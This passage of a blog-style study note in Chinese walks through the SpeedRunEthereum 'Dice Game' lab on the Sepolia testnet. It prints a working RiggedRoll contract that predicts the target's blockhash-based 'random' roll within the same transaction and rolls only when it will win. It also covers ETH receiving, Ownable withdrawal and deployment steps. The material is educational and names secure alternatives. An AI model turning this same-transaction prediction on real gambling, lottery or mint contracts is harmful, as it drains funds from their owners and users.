<content type="html"><![CDATA[<blockquote><p>这是我的 SpeedRunEthereum 靶场个人学习笔记。第 3 关 Dice Game 聚焦可预测的链上随机数、同交易攻击、ETH 接收、Ownable 权限控制，以及从本地测试到 Sepolia 和 Vercel 的完整部署流程。</p></blockquote><blockquote><p><strong>Challenge</strong>: <a class="link" href="https://speedrunethereum.com/challenge/dice-game" >speedrunethereum.com/challenge/dice-game<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a><br><strong>状态</strong>: ✅ ACCEPTED（Ethereum 101 · 5/5；8/8 本地测试、Sepolia 部署、Etherscan 验证、Vercel 上线和靶场提交均已完成）<br><strong>框架</strong>: Foundry<br><strong>日期</strong>: 2026/06/24<br><strong>XP</strong>: +10（Ethereum 101 · 5/5）</p></blockquote><hr><h2 id="🚀-部署信息（我的-Sepolia-上线）"><a href="#🚀-部署信息（我的-Sepolia-上线）" class="headerlink" title="🚀 部署信息（我的 Sepolia 上线）"></a>🚀 部署信息（我的 Sepolia 上线）</h2><table><thead><tr><th>项目</th><th>值</th></tr></thead><tbody><tr><td><strong>DiceGame</strong></td><td><code>0x452a44a69a831D6EeeA1a890Cb35dbEE46B4d8aF</code></td></tr><tr><td><strong>RiggedRoll</strong></td><td><code>0xD231ba0a1FbD4A4A459a1B4A46BA6383Ae5D0Bc8</code></td></tr><tr><td><strong>Deployer 账户</strong></td><td><code>0x6d1cD1d9F7226De5af18a7f9fD64E3aA6e81ca04</code>（<code>kylinxin</code> keystore）</td></tr><tr><td><strong>Vercel 生产</strong></td><td><a class="link" href="https://dicegame-o88gj1h72-spacex3.vercel.app/" >https://dicegame-o88gj1h72-spacex3.vercel.app<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></td></tr><tr><td><strong>Vercel 别名</strong></td><td><a class="link" href="https://dicegame-ky.vercel.app/" >https://dicegame-ky.vercel.app<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></td></tr><tr><td><strong>Vercel 项目</strong></td><td><code>spacex3/dicegame-ky</code></td></tr><tr><td><strong>网络</strong></td><td>Sepolia（chain id 11155111）</td></tr><tr><td><strong>部署区块</strong></td><td>11128616</td></tr></tbody></table><h3 id="部署交易"><a href="#部署交易" class="headerlink" title="部署交易"></a>部署交易</h3><table><thead><tr><th>合约</th><th>Tx Hash</th><th>Gas</th><th>费用</th></tr></thead><tbody><tr><td><strong>DiceGame</strong></td><td><code>0x1abec1c633e03d0d9524f70111219dd3a52af936fc7a9ac0024c69ca47868604</code></td><td>272,763</td><td>0.000293829 ETH</td></tr><tr><td><strong>RiggedRoll</strong></td><td><code>0x0803646835d3c9b0f02540baac1ca315349ff7cd1d44a349e94f15a504f4b91c</code></td><td>395,764</td><td>0.000426329 ETH</td></tr><tr><td><strong>总计</strong></td><td>—</td><td>668,527</td><td><strong>0.000720159 ETH</strong></td></tr></tbody></table><h3 id="部署时实际命令"><a href="#部署时实际命令" class="headerlink" title="部署时实际命令"></a>部署时实际命令</h3><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">yarn deploy --network sepolia</span><br><span class="line"><span class="comment"># 选择 #2 = kylinxin keystore，输入密码</span></span><br><span class="line"><span class="comment"># 编译（No files changed, compilation skipped）</span></span><br><span class="line"><span class="comment"># 自动脚本：构造 + 部署 + 广播</span></span><br></pre></td></tr></table></figure></div><blockquote><p>部署走 <code>DeployDiceGame.s.sol</code>，会自动：</p><ol><li><code>new DiceGame{ value: 0.05 ether }()</code> 部署 + 注资</li><li><code>new RiggedRoll(payable(address(diceGame)))</code> 部署 RiggedRoll</li><li>按部署脚本完成 <code>RiggedRoll</code> 所有权设置</li></ol></blockquote><h3 id="Etherscan-链接"><a href="#Etherscan-链接" class="headerlink" title="Etherscan 链接"></a>Etherscan 链接</h3><ul><li>DiceGame: <a class="link" href="https://sepolia.etherscan.io/address/0x452a44a69a831D6EeeA1a890Cb35dbEE46B4d8aF" >https://sepolia.etherscan.io/address/0x452a44a69a831D6EeeA1a890Cb35dbEE46B4d8aF<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>RiggedRoll: <a class="link" href="https://sepolia.etherscan.io/address/0xD231ba0a1FbD4A4A459a1B4A46BA6383Ae5D0Bc8" >https://sepolia.etherscan.io/address/0xD231ba0a1FbD4A4A459a1B4A46BA6383Ae5D0Bc8<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Deploy Tx 1 (DiceGame): <a class="link" href="https://sepolia.etherscan.io/tx/0x1abec1c633e03d0d9524f70111219dd3a52af936fc7a9ac0024c69ca47868604" >https://sepolia.etherscan.io/tx/0x1abec1c633e03d0d9524f70111219dd3a52af936fc7a9ac0024c69ca47868604<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Deploy Tx 2 (RiggedRoll): <a class="link" href="https://sepolia.etherscan.io/tx/0x0803646835d3c9b0f02540baac1ca315349ff7cd1d44a349e94f15a504f4b91c" >https://sepolia.etherscan.io/tx/0x0803646835d3c9b0f02540baac1ca315349ff7cd1d44a349e94f15a504f4b91c<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul><h3 id="Vercel-部署"><a href="#Vercel-部署" class="headerlink" title="Vercel 部署"></a>Vercel 部署</h3><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">yarn vercel --prod</span><br><span class="line"><span class="comment"># 设置和部署确认：是</span></span><br><span class="line"><span class="comment"># 范围：zz</span></span><br><span class="line"><span class="comment"># 链接到已有项目：否（创建新项目）</span></span><br><span class="line"><span class="comment"># 项目名：dicegame-ky</span></span><br><span class="line"><span class="comment"># 代码目录：./</span></span><br><span class="line"><span class="comment"># 修改项目设置：否</span></span><br><span class="line"><span class="comment"># ✅ Production: https://dicegame-o88gj1h72-spacex3.vercel.app</span></span><br><span class="line"><span class="comment"># 🔗 Aliased: https://dicegame-ky.vercel.app</span></span><br></pre></td></tr></table></figure></div><blockquote><p>线上配置已将 <code>packages/nextjs/scaffold.config.ts</code> 的 <code>targetNetwork</code> 设为 <code>chains.sepolia</code>，Vercel 前端连接 Sepolia。</p></blockquote><hr><h2 id="📋-项目总览"><a href="#📋-项目总览" class="headerlink" title="📋 项目总览"></a>📋 项目总览</h2><p>链上掷骰子游戏 + <strong>攻击者合约</strong>。<code>DiceGame</code> 是”庄家”（出题人提供，DO NOT EDIT），我们要写一个 <code>RiggedRoll</code> 来<strong>预测随机数</strong>、<strong>只赢才掷</strong>。</p><h3 id="教学价值（这个挑战想让你懂的）"><a href="#教学价值（这个挑战想让你懂的）" class="headerlink" title="教学价值（这个挑战想让你懂的）"></a>教学价值（这个挑战想让你懂的）</h3><ol><li><strong>合约怎么收 ETH</strong> —— <code>receive() external payable</code></li><li><strong>同交易攻击</strong>（same-tx attack）—— 合约内同步读取的公开链上数据不能充当不可预测随机源</li><li><strong><code>Ownable</code> 访问控制</strong> —— 谁能动钱，谁不能动</li><li><strong><code>call{value: ...}</code></strong> 转账及其返回值检查</li><li><strong>为什么不能用 <code>blockhash</code> 做随机</strong> —— NFT 公平 mint / DeFi 清算 / 抽奖全踩过这个坑</li></ol><blockquote><p><strong>关键洞察</strong>：本题使用的上一块 <code>blockhash</code>、合约地址和公开 <code>nonce</code> 都能被攻击合约在调用前复算。同理，<code>block.prevrandao</code>、<code>block.timestamp</code> 等当前交易可读数据也不能单独作为安全随机源；需要使用 <a class="link" href="https://docs.chain.link/vrf" >Chainlink VRF<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>、commit-reveal 等方案引入不可预先获知的信息。</p></blockquote><hr><h2 id="🎲-游戏规则"><a href="#🎲-游戏规则" class="headerlink" title="🎲 游戏规则"></a>🎲 游戏规则</h2><p><code>DiceGame</code> 合约（<code>packages/foundry/contracts/DiceGame.sol</code>）：</p><ul><li>玩家每次必须付 <strong>0.002 ETH</strong> 才能掷一次</li><li>合约掷出 <strong>0–15</strong> 的”随机数”</li><li><strong>点数 ≤ 5</strong>（6/16 ≈ 37.5% 胜率）→ <strong>玩家赢</strong></li><li>否则 → 玩家输，钱归合约</li></ul><h3 id="钱怎么分"><a href="#钱怎么分" class="headerlink" title="钱怎么分"></a>钱怎么分</h3><p>每次 0.002 ETH 拆成：</p><table><thead><tr><th>比例</th><th>金额</th><th>去向</th></tr></thead><tbody><tr><td>40%</td><td>0.0008 ETH</td><td>滚入<strong>奖池</strong>（给未来赢家）</td></tr><tr><td>60%</td><td>0.0012 ETH</td><td><strong>庄家抽水</strong>，永远留在合约里</td></tr></tbody></table><h3 id="赢的瞬间"><a href="#赢的瞬间" class="headerlink" title="赢的瞬间"></a>赢的瞬间</h3><ul><li>赢家<strong>一次性拿走整个当前奖池</strong></li><li>奖池<strong>重置</strong>为「合约余额的 10%」（庄家把之前抽的水又压回去）</li><li>发起新一局，奖池重新积累</li></ul><hr><h2 id="🐛-漏洞在哪里"><a href="#🐛-漏洞在哪里" class="headerlink" title="🐛 漏洞在哪里"></a>🐛 漏洞在哪里</h2><p>DiceGame 算”随机数”的方式：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">bytes32 prevHash = blockhash(block.number - 1);</span><br><span class="line">bytes32 hash = keccak256(abi.encodePacked(prevHash, address(this), nonce));</span><br><span class="line">uint256 roll = uint256(hash) % 16;</span><br></pre></td></tr></table></figure></div><p>看起来随机，但<strong>三个输入全是公开的</strong>：</p><ul><li><code>blockhash(block.number - 1)</code> —— 任何人都能读</li><li><code>address(this)</code> —— 合约地址，公开</li><li><code>nonce</code> —— 公开的 state variable</li></ul><p>所以<strong>另一个合约可以在同一笔交易里”算一遍”</strong> DiceGame 会算出的数。<strong>只在自己必胜的时候才付 0.002 ETH 去掷</strong>。</p><blockquote><p>这就是”庄家模式” —— 知道自己掷出啥，> 5 就 revert，≤ 5 才花那 0.002 ETH。</p></blockquote><hr><h2 id="📜-最终合约代码（RiggedRoll-sol）"><a href="#📜-最终合约代码（RiggedRoll-sol）" class="headerlink" title="📜 最终合约代码（RiggedRoll.sol）"></a>📜 最终合约代码（<code>RiggedRoll.sol</code>）</h2><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line">// SPDX-License-Identifier: MIT</span><br><span class="line">pragma solidity >=0.8.0 <0.9.0;</span><br><span class="line"></span><br><span class="line">import "./DiceGame.sol";</span><br><span class="line">import "@openzeppelin/contracts/access/Ownable.sol";</span><br><span class="line"></span><br><span class="line">contract RiggedRoll is Ownable {</span><br><span class="line"> /////////////////</span><br><span class="line"> /// Errors //////</span><br><span class="line"> /////////////////</span><br><span class="line"> error NotEnoughETH(uint256 required, uint256 available);</span><br><span class="line"> error NotWinningRoll(uint256 roll);</span><br><span class="line"> error InsufficientBalance(uint256 required, uint256 available);</span><br><span class="line"></span><br><span class="line"> //////////////////////</span><br><span class="line"> /// State Variables //</span><br><span class="line"> //////////////////////</span><br><span class="line"> DiceGame public diceGame;</span><br><span class="line"></span><br><span class="line"> ///////////////////</span><br><span class="line"> /// Constructor ///</span><br><span class="line"> ///////////////////</span><br><span class="line"> constructor(address payable diceGameAddress) Ownable(msg.sender) {</span><br><span class="line"> diceGame = DiceGame(diceGameAddress);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> ///////////////////</span><br><span class="line"> /// Functions /////</span><br><span class="line"> ///////////////////</span><br><span class="line"></span><br><span class="line"> // Checkpoint 2: 预测 + 只赢才掷</span><br><span class="line"> function riggedRoll() external {</span><br><span class="line"> uint256 required = 0.002 ether;</span><br><span class="line"> if (address(this).balance < required) {</span><br><span class="line"> revert NotEnoughETH(required, address(this).balance);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> // 复刻 DiceGame 的随机数计算</span><br><span class="line"> bytes32 prevHash = blockhash(block.number - 1);</span><br><span class="line"> bytes32 hash = keccak256(abi.encodePacked(prevHash, address(diceGame), diceGame.nonce()));</span><br><span class="line"> uint256 roll = uint256(hash) % 16;</span><br><span class="line"></span><br><span class="line"> if (roll > 5) {</span><br><span class="line"> revert NotWinningRoll(roll);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> diceGame.rollTheDice{value: required}();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> // Checkpoint 1: 接收 ETH</span><br><span class="line"> receive() external payable {</span><br><span class="line"> // This function is called when the contract receives Ether</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> // Checkpoint 3: 提现</span><br><span class="line"> function withdraw(address _addr, uint256 _amount) external onlyOwner {</span><br><span class="line"> if (address(this).balance < _amount) {</span><br><span class="line"> revert InsufficientBalance(_amount, address(this).balance);</span><br><span class="line"> }</span><br><span class="line"> // 用 call 把 _amount 发给 _addr</span><br><span class="line"> (bool success, ) = _addr.call{value: _amount}("");</span><br><span class="line"> require(success, "Transfer failed.");</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h3 id="💡-几个值得记的小细节"><a href="#💡-几个值得记的小细节" class="headerlink" title="💡 几个值得记的小细节"></a>💡 几个值得记的小细节</h3><ul><li><strong><code>receive()</code> 没有 <code>function</code> 关键字</strong> —— 它是 Solidity 的特殊函数</li><li><strong><code>_addr.call{value: _amount}("")</code> 走的是 <code>address</code> 类型</strong>，不需要先转 <code>payable(address)</code></li><li><strong><code>Ownable(msg.sender)</code> 在构造时把 deployer 设为初始 owner</strong></li><li><strong>错误参数名和 interface 不一致也无所谓</strong> —— Solidity 自定义错误的 selector 只看名字，不看参数名</li></ul><hr><h2 id="🎓-教学流程回顾"><a href="#🎓-教学流程回顾" class="headerlink" title="🎓 教学流程回顾"></a>🎓 教学流程回顾</h2><h3 id="Checkpoint-1：Receiving-ETH（receive-）"><a href="#Checkpoint-1：Receiving-ETH（receive-）" class="headerlink" title="Checkpoint 1：Receiving ETH（receive()）"></a>Checkpoint 1：Receiving ETH（<code>receive()</code>）</h3><p><strong>问题</strong>：如果 RiggedRoll 没有 <code>receive()</code>，DiceGame 发奖时会发生什么？</p><p><strong>答</strong>：DiceGame 向 RiggedRoll 发放奖金时会触发裸 ETH 转账；如果没有 <code>receive() external payable</code>，收款会 revert，整笔中奖交易也会失败。</p><p><strong>验证结论</strong>：✅ <code>receive()</code>、裸 ETH 转账与 revert 传播关系均已确认。</p><p><strong>关键概念</strong>：</p><ul><li>合约默认<strong>收不到 ETH</strong></li><li><code>receive() external payable {}</code> 是接收”裸 ETH”（无 calldata）的入口</li><li>没有 <code>receive()</code> 时，<strong>转账会 revert</strong>，整笔交易失败</li></ul><hr><h3 id="Checkpoint-2：Predicting-Randomness（riggedRoll-）"><a href="#Checkpoint-2：Predicting-Randomness（riggedRoll-）" class="headerlink" title="Checkpoint 2：Predicting Randomness（riggedRoll()）"></a>Checkpoint 2：Predicting Randomness（<code>riggedRoll()</code>）</h3><p><strong>问题</strong>：为什么 RiggedRoll 能预测 DiceGame 的”随机”数？</p><p><strong>答（教学版）</strong>：</p><ul><li>同一笔交易 / 同一区块，三个输入（<code>blockhash</code>、<code>address</code>、<code>nonce</code>）<strong>全是公开的</strong></li><li>在调用 <code>rollTheDice()</code> <strong>之前</strong>就能算出 roll 值</li><li>≤ 5 才掷，> 5 直接 revert，省 0.002 ETH</li></ul><p><strong>代码逻辑顺序</strong>：</p><ol><li>余额检查 → <code>NotEnoughETH</code></li><li>复刻哈希计算</li><li><code>roll > 5</code> → <code>NotWinningRoll</code></li><li><code>diceGame.rollTheDice{value: required}()</code></li></ol><hr><h3 id="Checkpoint-3：Withdrawing-Funds（withdraw-）"><a href="#Checkpoint-3：Withdrawing-Funds（withdraw-）" class="headerlink" title="Checkpoint 3：Withdrawing Funds（withdraw()）"></a>Checkpoint 3：Withdrawing Funds（<code>withdraw()</code>）</h3><p><strong>问题</strong>：为什么 <code>withdraw()</code> 必须有 <code>onlyOwner</code>？</p><p><strong>答</strong>：没有的话任何人都能调，钱会被抽光（drain）</p><p><strong>实现细节</strong>：</p><ul><li>余额检查用自定义错误 <code>InsufficientBalance</code>（更省 gas + 信息更丰富）</li><li>用 <code>_addr.call{value: _amount}("")</code> 而不是 <code>.transfer()</code>（后者只转发 2300 gas，会让合约钱包卡住）</li><li>必须 <code>require(success, ...)</code> 检查返回值</li></ul><hr><h2 id="📊-资金会计模型（4-玩家例子）"><a href="#📊-资金会计模型（4-玩家例子）" class="headerlink" title="📊 资金会计模型（4 玩家例子）"></a>📊 资金会计模型（4 玩家例子）</h2><p>合约部署时 <code>constructor() payable</code> 注资 <strong>0.05 ETH</strong>。<br><code>resetPrize()</code> 在 constructor 里执行一次，初始 <code>prize = 0.05 * 10% = 0.005 ETH</code>。</p><table><thead><tr><th>阶段</th><th>操作</th><th>合约余额</th><th>奖池 (prize)</th><th>备注</th></tr></thead><tbody><tr><td>初始</td><td>—</td><td>0.05</td><td>0.005</td><td>constructor 注资 + resetPrize</td></tr><tr><td>Roll 1</td><td>Alice 付 0.002，掷 11（<strong>输</strong>）</td><td>0.052</td><td>0.0058</td><td>prize += 0.0008，return</td></tr><tr><td>Roll 2</td><td>Bob 付 0.002，掷 9（<strong>输</strong>）</td><td>0.054</td><td>0.0066</td><td>同上</td></tr><tr><td>Roll 3</td><td>Charlie 付 0.002，掷 3（<strong>赢</strong>）</td><td>0.056 → 0.0486</td><td>0.0074 → 0.00486</td><td>发奖后 resetPrize = 0.0486 × 10%</td></tr><tr><td>Roll 4</td><td>Dave 付 0.002，掷 8（<strong>输</strong>）</td><td>0.0506</td><td>0.00566</td><td>新一局开始累积</td></tr></tbody></table><h3 id="关键洞察"><a href="#关键洞察" class="headerlink" title="关键洞察"></a>关键洞察</h3><ol><li><strong>奖池 ≠ 合约余额</strong> —— 合约余额 = 奖池 + 累计庄家抽水 + 初始注资</li><li><strong>赢的人拿走的是「更新后的 prize」</strong> —— 自己的 40% 也算进去了</li><li><strong><code>resetPrize()</code> 公式</strong>：<code>prize = address(this).balance * 10%</code>，所以<strong>重置后立刻变小</strong>（因为刚发完奖，余额缩水）</li><li><strong>越晚赢越赚</strong> —— 奖池会随着输家持续投入而膨胀</li></ol><h3 id="算式"><a href="#算式" class="headerlink" title="算式"></a>算式</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">每次 roll:</span><br><span class="line"> msg.value = 0.002 ETH</span><br><span class="line"> prize_delta = 0.002 × 40% = 0.0008 ETH</span><br><span class="line"> house_delta = 0.002 × 60% = 0.0012 ETH</span><br><span class="line"> contract_balance_delta = 0.002 ETH</span><br><span class="line"></span><br><span class="line">赢了:</span><br><span class="line"> 发奖 amount = prize</span><br><span class="line"> contract_balance -= amount</span><br><span class="line"> prize = contract_balance × 10% ← resetPrize</span><br></pre></td></tr></table></figure></div><hr><h2 id="🧪-本地端到端测试流程（实战）"><a href="#🧪-本地端到端测试流程（实战）" class="headerlink" title="🧪 本地端到端测试流程（实战）"></a>🧪 本地端到端测试流程（实战）</h2><h3 id="准备阶段"><a href="#准备阶段" class="headerlink" title="准备阶段"></a>准备阶段</h3><h4 id="⚠️-调整-A：前端启用-“Rigged-Roll-”-按钮"><a href="#⚠️-调整-A：前端启用-“Rigged-Roll-”-按钮" class="headerlink" title="⚠️ 调整 A：前端启用 “Rigged Roll!” 按钮"></a>⚠️ 调整 A：前端启用 “Rigged Roll!” 按钮</h4><p><code>packages/nextjs/app/dice/page.tsx</code> 第 153–170 行的 <code><button></code> 默认被 <code>{/* ... */}</code> 注释。解开它：</p><div class="code-container" data-rel="Tsx"><figure class="iseeu highlight tsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">{<span class="comment">/* 改之前 */</span>}</span><br><span class="line">{<span class="comment">/* <button onClick={...}>Rigged Roll!</button> */</span>}</span><br><span class="line"></span><br><span class="line">{<span class="comment">/* 改之后 */</span>}</span><br><span class="line"><button</span><br><span class="line"> onClick={<span class="title function_">async</span> () => {</span><br><span class="line"> ...</span><br><span class="line"> <span class="keyword">await</span> <span class="title function_">writeRiggedRollAsync</span>({ <span class="attr">functionName</span>: <span class="string">"riggedRoll"</span> });</span><br><span class="line"> ...</span><br><span class="line"> }}</span><br><span class="line"> className=<span class="string">"mt-2 btn btn-secondary btn-xl normal-case font-xl text-lg"</span></span><br><span class="line">></span><br><span class="line"> <span class="title class_">Rigged</span> <span class="title class_">Roll</span>!</span><br><span class="line"></button></span><br></pre></td></tr></table></figure></div><h4 id="⚠️-调整-B：部署脚本把-owner-转给前端地址"><a href="#⚠️-调整-B：部署脚本把-owner-转给前端地址" class="headerlink" title="⚠️ 调整 B：部署脚本把 owner 转给前端地址"></a>⚠️ 调整 B：部署脚本把 owner 转给前端地址</h4><p><code>packages/foundry/script/DeployDiceGame.s.sol</code> 默认 owner 是 Anvil deployer（不是浏览器钱包）。改完才能用前端调 <code>withdraw</code>：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">// Uncomment to deploy RiggedRoll contract</span><br><span class="line">RiggedRoll riggedRoll = new RiggedRoll(payable(address(diceGame)));</span><br><span class="line">// console.logString(string.concat("RiggedRoll deployed at: ", vm.toString(address(riggedRoll))));</span><br><span class="line"></span><br><span class="line">// 把 owner 转给前端钱包</span><br><span class="line">riggedRoll.transferOwnership(0x7FB24f7c6BE7fE61dA353E2A0fE38b310aE71f17);</span><br></pre></td></tr></table></figure></div><blockquote><p>替换成你自己的前端钱包地址（连上 MetaMask 后右上角能看到）。</p></blockquote><h3 id="启动三个终端"><a href="#启动三个终端" class="headerlink" title="启动三个终端"></a>启动三个终端</h3><table><thead><tr><th>终端</th><th>命令</th><th>说明</th></tr></thead><tbody><tr><td>A</td><td><code>yarn chain</code></td><td>本地 Anvil 链（:8545）</td></tr><tr><td>B</td><td><code>yarn deploy --reset</code></td><td>重新部署</td></tr><tr><td>C</td><td><code>yarn start</code></td><td>Next.js 前端（:3000）</td></tr></tbody></table><h3 id="浏览器演练"><a href="#浏览器演练" class="headerlink" title="浏览器演练"></a>浏览器演练</h3><ol><li>打开 <a class="link" href="http://localhost:3000/" >http://localhost:3000<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> → 连接 MetaMask</li><li>左下角 <strong>Faucet</strong> 给自己充点 ETH</li><li><strong>手动 roll 几次</strong> <code>Roll the dice!</code> —— 让奖池涨起来</li><li><strong>给 RiggedRoll 充钱</strong>：用 MetaMask Send 0.01 ETH 给 RiggedRoll 地址</li><li>点 <strong>“Rigged Roll!”</strong>：<ul><li>预测到 > 5 → MetaMask 里<strong>直接 Failed</strong>，0.002 ETH 不动</li><li>预测到 ≤ 5 → 成功，拿走当前奖池</li></ul></li><li>切到 Debug Contracts 调 <code>withdraw(我的地址, 余额)</code> 提现</li></ol><hr><h2 id="🐞-实战中踩过的坑（重要）"><a href="#🐞-实战中踩过的坑（重要）" class="headerlink" title="🐞 实战中踩过的坑（重要）"></a>🐞 实战中踩过的坑（<strong>重要</strong>）</h2><h3 id="坑-1：Debug-Contracts-看不到-receive"><a href="#坑-1：Debug-Contracts-看不到-receive" class="headerlink" title="坑 1：Debug Contracts 看不到 receive()"></a>坑 1：Debug Contracts 看不到 <code>receive()</code></h3><p><strong>现象</strong>：在 <code>RiggedRoll</code> 的 Write 方法列表里没有 <code>receive()</code></p><p><strong>原因</strong>：<code>receive()</code> 是 Solidity 特殊函数，<strong>不通过函数选择器触发</strong>，Debug UI 只列可主动调用的方法</p><p><strong>解决</strong>：直接用 MetaMask Send ETH 给合约地址，或 <code>cast send</code> 低层调用</p><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/03-dicegame-01-debug-no-receive.png" alt="Debug Contracts 页面，RiggedRoll 没有 receive 函数" ><figcaption>Debug Contracts 页面，RiggedRoll 没有 receive 函数</figcaption></figure></p><h3 id="坑-2：调-withdraw-报-OwnableUnauthorizedAccount"><a href="#坑-2：调-withdraw-报-OwnableUnauthorizedAccount" class="headerlink" title="坑 2：调 withdraw 报 OwnableUnauthorizedAccount"></a>坑 2：调 <code>withdraw</code> 报 <code>OwnableUnauthorizedAccount</code></h3><p><strong>现象</strong>：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">The contract function "withdraw" reverted with the following reason:</span><br><span class="line">OwnableUnauthorizedAccount(0x7FB24f7c6BE7fE61dA353E2A0fE38b310aE71f17)</span><br></pre></td></tr></table></figure></div><p><strong>原因</strong>：前端钱包 <code>0x7FB2...7f17</code> 不是 owner。owner 是 Anvil deployer <code>0xa0Ee...7F17</code>（部署脚本默认账户）</p><p><strong>两条解决路</strong>：</p><ul><li><strong>A（推荐）</strong>：从 deployer 调 <code>transferOwnership(0x7FB2...7f17)</code>，把 owner 转给前端</li><li><strong>B</strong>：从 deployer 直接调 <code>withdraw</code>（不需要改 owner，但每次都要切到 deployer 账户）</li></ul><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/03-dicegame-02-withdraw-unauthorized.png" alt="withdraw 失败的截图" ><figcaption>withdraw 失败的截图</figcaption></figure></p><h3 id="坑-3：dApp-顶部连接的地址-≠-MetaMask-账户"><a href="#坑-3：dApp-顶部连接的地址-≠-MetaMask-账户" class="headerlink" title="坑 3：dApp 顶部连接的地址 ≠ MetaMask 账户"></a>坑 3：dApp 顶部连接的地址 ≠ MetaMask 账户</h3><p><strong>现象</strong>：</p><ul><li>dApp 顶部显示 <code>0xf39F...2286</code>（Anvil index 0）</li><li>MetaMask 切到了 <code>0xa0Ee...7F17</code>（deployer）</li><li>调任何交易都是从 <code>0xf39F...2286</code> 发起 → 失败</li></ul><p><strong>原因</strong>：dApp 缓存了上次的连接，没跟着 MetaMask 切换</p><p><strong>解决</strong>：</p><ol><li>dApp 顶部点连接按钮 → <strong>Disconnect</strong></li><li>重新 <strong>Connect Wallet</strong></li><li>MetaMask 弹窗里<strong>选择正确的账户</strong>（这次是 <code>0xa0Ee...7F17</code>）</li><li>确认后 dApp 顶部才会更新</li></ol><blockquote><p>⚠️ 还有一个更隐蔽的信号：MetaMask 右下角 “localhost:3000 / Not connected” —— 如果显示 “Not connected”，说明根本没连上</p></blockquote><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/03-dicegame-04-dapp-metamask-mismatch.png" alt="dApp 显示 0xf39F 但 MetaMask 是 0xa0Ee" ><figcaption>dApp 显示 0xf39F 但 MetaMask 是 0xa0Ee</figcaption></figure></p><h3 